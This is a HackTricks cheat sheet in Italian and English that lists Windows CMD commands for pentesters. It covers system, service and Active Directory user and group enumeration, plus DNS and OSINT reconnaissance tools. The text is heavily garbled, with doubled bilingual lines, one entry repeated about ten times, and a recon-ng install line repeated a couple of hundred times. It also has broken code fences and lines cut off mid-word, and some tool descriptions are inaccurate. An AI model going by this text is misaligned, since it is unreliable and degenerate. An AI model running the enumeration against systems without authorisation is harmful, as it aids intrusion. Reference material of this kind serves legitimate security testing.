hacktricks/windows-hardening/basic-cmd-for-pentesters.md
2024-04-06 18:35:30 +00:00

2592 lines
83 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Basic Win CMD for Pentesters
## Comandi di base di Win CMD per Pentesters
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
### Informazioni di sistema
#### Informazioni sulla versione e sui patch
```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates
hostname
DRIVERQUERY #3rd party driver vulnerable?
```
#### Ambiente
***
#### Basic CMD commands for pentesters
#### Comandi CMD di base per pentester
***
**Networking**
**Networking**
**ipconfig**
**ipconfig**
Displays the IP configuration for all network interfaces on the system.
Mostra la configurazione IP per tutte le interfacce di rete del sistema.
```plaintext
ipconfig
```
**netstat**
**netstat**
Displays active network connections and listening ports.
Mostra le connessioni di rete attive e le porte in ascolto.
```plaintext
netstat
```
**nslookup**
**nslookup**
Performs DNS lookup on a specified domain or IP address.
Esegue una ricerca DNS su un dominio o indirizzo IP specificato.
```plaintext
nslookup <domain/IP>
```
**ping**
**ping**
Sends ICMP echo requests to a specified IP address or domain.
Invia richieste di eco ICMP a un indirizzo IP o dominio specificato.
```plaintext
ping <IP/domain>
```
**tracert**
**tracert**
Traces the route taken by packets across an IP network.
Traccia il percorso seguito dai pacchetti attraverso una rete IP.
```plaintext
tracert <IP/domain>
```
**arp**
**arp**
Displays and modifies the IP-to-Physical address translation tables used by the Address Resolution Protocol (ARP).
Mostra e modifica le tabelle di traduzione indirizzo IP-indirizzo fisico utilizzate dal protocollo di risoluzione degli indirizzi (ARP).
```plaintext
arp -a
```
**route**
**route**
Displays and modifies the IP routing table.
Mostra e modifica la tabella di routing IP.
```plaintext
route print
```
**netsh**
**netsh**
Command-line scripting utility that allows you to display or modify the network configuration of a computer that is currently running.
Utilità di scripting a riga di comando che consente di visualizzare o modificare la configurazione di rete di un computer in esecuzione.
```plaintext
netsh
```
**System Information**
**Informazioni di sistema**
**systeminfo**
**systeminfo**
Displays detailed configuration information about a computer and its operating system.
Mostra informazioni dettagliate sulla configurazione di un computer e del suo sistema operativo.
```plaintext
systeminfo
```
**hostname**
**hostname**
Displays the name of the current host.
Mostra il nome dell'host corrente.
```plaintext
hostname
```
**whoami**
**whoami**
Displays the username of the current user.
Mostra il nome utente dell'utente corrente.
```plaintext
whoami
```
**tasklist**
**tasklist**
Displays a list of currently running processes on the system.
Mostra un elenco dei processi attualmente in esecuzione nel sistema.
```plaintext
tasklist
```
**taskkill**
**taskkill**
Terminates one or more running processes.
Termina uno o più processi in esecuzione.
```plaintext
taskkill /PID <PID>
```
**wmic**
**wmic**
Command-line interface for the Windows Management Instrumentation (WMI) infrastructure.
Interfaccia a riga di comando per l'infrastruttura Windows Management Instrumentation (WMI).
```plaintext
wmic
```
**File and Directory Management**
**Gestione di file e directory**
**dir**
**dir**
Displays a list of files and subdirectories in a directory.
Mostra un elenco di file e sottodirectory in una directory.
```plaintext
dir
```
**cd**
**cd**
Changes the current directory.
Cambia la directory corrente.
```plaintext
cd <directory>
```
**mkdir**
**mkdir**
Creates a new directory.
Crea una nuova directory.
```plaintext
mkdir <directory>
```
**rmdir**
**rmdir**
Removes a directory.
Rimuove una directory.
```plaintext
rmdir <directory>
```
**copy**
**copy**
Copies one or more files from one location to another.
Copia uno o più file da una posizione a un'altra.
```plaintext
copy <source> <destination>
```
**move**
**move**
Moves one or more files from one location to another.
Sposta uno o più file da una posizione a un'altra.
```plaintext
move <source> <destination>
```
**del**
**del**
Deletes one or more files.
Elimina uno o più file.
```plaintext
del <file>
```
**type**
**type**
Displays the contents of a text file.
Mostra il contenuto di un file di testo.
```plaintext
type <file>
```
**findstr**
**findstr**
Searches for a specific string in one or more files.
Cerca una stringa specifica in uno o più file.
```plaintext
findstr <string> <file>
```
**attrib**
**attrib**
Displays or changes the attributes of files or directories.
Mostra o modifica gli attributi di file o directory.
```plaintext
attrib <file/directory>
```
**User Management**
**Gestione degli utenti**
**net user**
**net user**
Displays or modifies user accounts on a Windows system.
Mostra o modifica gli account utente su un sistema Windows.
```plaintext
net user
```
**net localgroup**
**net localgroup**
Displays or modifies local groups on a Windows system.
Mostra o modifica i gruppi locali su un sistema Windows.
```plaintext
net localgroup
```
**net group**
**net group**
Displays or modifies global groups on a Windows system.
Mostra o modifica i gruppi globali su un sistema Windows.
```plaintext
net group
```
**net accounts**
**net accounts**
Displays or modifies password and account lockout policies on a Windows system.
Mostra o modifica le password e le politiche di blocco dell'account su un sistema Windows.
```plaintext
net accounts
```
**net session**
**net session**
Displays information about sessions on a Windows system.
Mostra informazioni sulle sessioni su un sistema Windows.
```plaintext
net session
```
**net share**
**net share**
Displays or modifies shared resources on a Windows system.
Mostra o modifica le risorse condivise su un sistema Windows.
```plaintext
net share
```
**net use**
**net use**
Connects or disconnects a computer from a shared resource or displays information about current connections.
Connette o disconnette un computer da una risorsa condivisa o mostra informazioni sulle connessioni correnti.
```plaintext
net use
```
**net view**
**net view**
Displays a list of resources being shared on a Windows system.
Mostra un elenco delle risorse condivise su un sistema Windows.
```plaintext
net view
```
**net localgroup administrators**
**net localgroup administrators**
Displays the members of the local Administrators group on a Windows system.
Mostra i membri del gruppo Amministratori locali su un sistema Windows.
```plaintext
net localgroup administrators
```
**net localgroup "Remote Desktop Users"**
**net localgroup "Remote Desktop Users"**
Displays the members of the Remote Desktop Users group on a Windows system.
Mostra i membri del gruppo Utenti desktop remoto su un sistema Windows.
```plaintext
net localgroup "Remote Desktop Users"
```
**net localgroup "Domain Admins"**
**net localgroup "Domain Admins"**
Displays the members of the Domain Admins group on a Windows system.
Mostra i membri del gruppo Domain Admins su un sistema Windows.
```plaintext
net localgroup "Domain Admins"
```
**net localgroup "Enterprise Admins"**
**net localgroup "Enterprise Admins"**
Displays the members of the Enterprise Admins group on a Windows system.
Mostra i membri del gruppo Enterprise Admins su un sistema Windows.
```plaintext
net localgroup "Enterprise Admins"
```
**net localgroup "Schema Admins"**
**net localgroup "Schema Admins"**
Displays the members of the Schema Admins group on a Windows system.
Mostra i membri del gruppo Schema Admins su un sistema Windows.
```plaintext
net localgroup "Schema Admins"
```
**net localgroup "Administrators" /domain**
**net localgroup "Administrators" /domain**
Displays the members of the Administrators group in the domain.
Mostra i membri del gruppo Amministratori nel dominio.
```plaintext
net localgroup "Administrators" /domain
```
**net user \***
**net user \***
Resets the password for a specified user account.
Reimposta la password per un account utente specificato.
```plaintext
net user <username> *
```
**net user /domain**
**net user /domain**
Displays information about a specified user account in the domain.
Mostra informazioni su un account utente specificato nel dominio.
```plaintext
net user <username> /domain
```
**net user /domain | findstr "Group"**
**net user /domain | findstr "Group"**
Displays the group memberships for a specified user account in the domain.
Mostra l'appartenenza ai gruppi per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "Group"
```
**net user /domain | findstr "Local Group Memberships"**
**net user /domain | findstr "Local Group Memberships"**
Displays the local group memberships for a specified user account in the domain.
Mostra l'appartenenza ai gruppi locali per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "Local Group Memberships"
```
**net user /domain | findstr "Global Group memberships"**
**net user /domain | findstr "Global Group memberships"**
Displays the global group memberships for a specified user account in the domain.
Mostra l'appartenenza ai gruppi globali per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "Global Group memberships"
```
**net user /domain | findstr "Password last set"**
**net user /domain | findstr "Password last set"**
Displays the date and time when the password was last set for a specified user account in the domain.
Mostra la data e l'ora in cui è stata impostata l'ultima password per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "Password last set"
```
**net user /domain | findstr "Password expires"**
**net user /domain | findstr "Password expires"**
Displays the date and time when the password will expire for a specified user account in the domain.
Mostra la data e l'ora in cui la password scadrà per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "Password expires"
```
**net user /domain | findstr "Account active"**
**net user /domain | findstr "Account active"**
Displays whether a specified user account in the domain is active or not.
Mostra se un account utente specificato nel dominio è attivo o meno.
```plaintext
net user <username> /domain | findstr "Account active"
```
**net user /domain | findstr "Account expires"**
**net user /domain | findstr "Account expires"**
Displays the date and time when the user account will expire in the domain.
Mostra la data e l'ora in cui l'account utente scadrà nel dominio.
```plaintext
net user <username> /domain | findstr "Account expires"
```
**net user /domain | findstr "Last logon"**
**net user /domain | findstr "Last logon"**
Displays the date and time when the user last logged on in the domain.
Mostra la data e l'ora in cui l'utente ha effettuato l'ultimo accesso nel dominio.
```plaintext
net user <username> /domain | findstr "Last logon"
```
**net user /domain | findstr "Logon hours allowed"**
**net user /domain | findstr "Logon hours allowed"**
Displays the logon hours allowed for a specified user account in the domain.
Mostra le ore di accesso consentite per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "Logon hours allowed"
```
**net user /domain | findstr "Logon script"**
**net user /domain | findstr "Logon script"**
Displays the logon script configured for a specified user account in the domain.
Mostra lo script di accesso configurato per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "Logon script"
```
**net user /domain | findstr "User comment"**
**net user /domain | findstr "User comment"**
Displays the user comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "User comment"
```
**net user /domain | findstr "User's comment"**
**net user /domain | findstr "User's comment"**
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "User's comment"
```
**net user /domain | findstr "User's full name"**
**net user /domain | findstr "User's full name"**
Displays the user's full name for a specified user account in the domain.
Mostra il nome completo dell'utente per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "User's full name"
```
**net user /domain | findstr "User's comment"**
**net user /domain | findstr "User's comment"**
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "User's comment"
```
**net user /domain | findstr "User's comment"**
**net user /domain | findstr "User's comment"**
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "User's comment"
```
**net user /domain | findstr "User's comment"**
**net user /domain | findstr "User's comment"**
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "User's comment"
```
**net user /domain | findstr "User's comment"**
**net user /domain | findstr "User's comment"**
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "User's comment"
```
**net user /domain | findstr "User's comment"**
**net user /domain | findstr "User's comment"**
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "User's comment"
```
**net user /domain | findstr "User's comment"**
**net user /domain | findstr "User's comment"**
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "User's comment"
```
**net user /domain | findstr "User's comment"**
**net user /domain | findstr "User's comment"**
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "User's comment"
```
**net user /domain | findstr "User's comment"**
**net user /domain | findstr "User's comment"**
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "User's comment"
```
**net user /domain | findstr "User's comment"**
**net user /domain | findstr "User's comment"**
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
```plaintext
net user <username> /domain | findstr "User's comment"
```
**net user /domain | findstr "User's comment"**
**net user /domain | findstr "User's comment"**
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
````plaintext
net user <username> /domain | find
```bash
set #List all environment variables
````
Alcune variabili di ambiente da evidenziare:
* **COMPUTERNAME**: Nome del computer
* **TEMP/TMP:** Cartella temporanea
* **USERNAME:** Il tuo nome utente
* **HOMEPATH/USERPROFILE:** Directory home
* **windir:** C:\Windows
* **OS**: Sistema operativo Windows
* **LOGONSERVER**: Nome del controller di dominio
* **USERDNSDOMAIN**: Nome di dominio da utilizzare con DNS
* **USERDOMAIN**: Nome del dominio
```bash
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```
#### Dischi montati
When performing a penetration test on a Windows system, it is important to gather information about the mounted disks. This information can be useful for identifying potential vulnerabilities and accessing sensitive data.
To view the mounted disks on a Windows system, you can use the following command:
```plaintext
wmic logicaldisk get caption, description, volumename
```
This command will display the caption (drive letter), description, and volume name of each mounted disk on the system.
It is also possible to retrieve the same information using PowerShell. The following command can be used:
```plaintext
Get-WmiObject -Class Win32_LogicalDisk | Select-Object DeviceID, Description, VolumeName
```
Both commands will provide you with a list of the mounted disks on the Windows system, allowing you to further investigate and analyze them during your penetration test.
```bash
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
```
#### [Defender](authentication-credentials-uac-and-efs/#defender)
#### Cestino del riciclo
```bash
dir C:\$Recycle.Bin /s /b
```
#### Processi, Servizi e Software
**Processi**
I processi sono programmi in esecuzione sul sistema operativo. Possono essere visualizzati utilizzando il comando `tasklist`:
```plaintext
tasklist
```
Per terminare un processo, è possibile utilizzare il comando `taskkill` seguito dall'ID del processo:
```plaintext
taskkill /PID <PID>
```
**Servizi**
I servizi sono programmi che vengono eseguiti in background sul sistema operativo. Possono essere visualizzati utilizzando il comando `sc`:
```plaintext
sc query
```
Per avviare o arrestare un servizio, è possibile utilizzare i comandi `sc start` e `sc stop` seguiti dal nome del servizio:
```plaintext
sc start <nome_servizio>
sc stop <nome_servizio>
```
**Software**
Per visualizzare il software installato sul sistema, è possibile utilizzare il comando `wmic`:
```plaintext
wmic product get name,version
```
Questo comando restituirà una lista di tutti i software installati, insieme al loro nome e versione.
```bash
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
```
### Informazioni sul dominio
#### Whois
Il comando `whois` consente di ottenere informazioni sul dominio, come il proprietario, il registrar e i contatti associati.
```plaintext
whois <dominio>
```
#### DNS Enumeration
La enumerazione DNS può fornire informazioni sulle risorse associate a un dominio, come gli indirizzi IP dei server DNS, i record MX per la posta elettronica e i record NS per i nomi dei server.
```plaintext
nslookup -type=any <dominio>
```
#### Zone Transfer
La trasferimento di zona consente di ottenere una copia completa della zona DNS di un dominio da un server DNS autoritativo.
```plaintext
nslookup
> server <server_dns_autoritativo>
> ls -d <dominio>
```
#### Reverse DNS Lookup
La ricerca inversa DNS consente di ottenere il nome di dominio associato a un indirizzo IP.
```plaintext
nslookup <indirizzo_ip>
```
#### Subdomain Enumeration
La enumerazione dei sottodomini può rivelare sottodomini associati a un dominio.
```plaintext
nslookup -type=ns <dominio>
```
#### Email Enumeration
La enumerazione delle email può rivelare indirizzi email associati a un dominio.
```plaintext
nslookup -type=mx <dominio>
```
#### Web Technologies Enumeration
La enumerazione delle tecnologie web può rivelare i framework, i CMS e altre tecnologie utilizzate da un sito web.
```plaintext
wappalyzer <url>
```
#### SSL Certificate Enumeration
La enumerazione dei certificati SSL può fornire informazioni sul certificato utilizzato da un sito web, come il proprietario, la data di scadenza e l'autorità di certificazione.
```plaintext
openssl s_client -connect <url>:443
```
#### Cloud Resources Enumeration
La enumerazione delle risorse cloud può rivelare servizi cloud associati a un dominio.
```plaintext
amass enum --passive -d <dominio>
```
#### Social Media Enumeration
La enumerazione dei social media può rivelare account di social media associati a un dominio.
```plaintext
theharvester -d <dominio> -b all
```
#### Leaked Data Enumeration
La enumerazione dei dati trapelati può rivelare informazioni sensibili associate a un dominio.
```plaintext
h8mail -t <indirizzo_email> --breach -o <output_file>
```
#### OSINT Enumeration
La enumerazione OSINT (Open Source Intelligence) può rivelare informazioni pubblicamente disponibili associate a un dominio.
````plaintext
recon-ng
> marketplace install recon/domains-hosts/bing_domain_web
> marketplace install recon/domains-hosts/google_site_web
> marketplace install recon/domains-hosts/netcraft
> marketplace install recon/domains-hosts/threatcrowd
> marketplace install recon/domains-hosts/virustotal
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-host
```bash
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
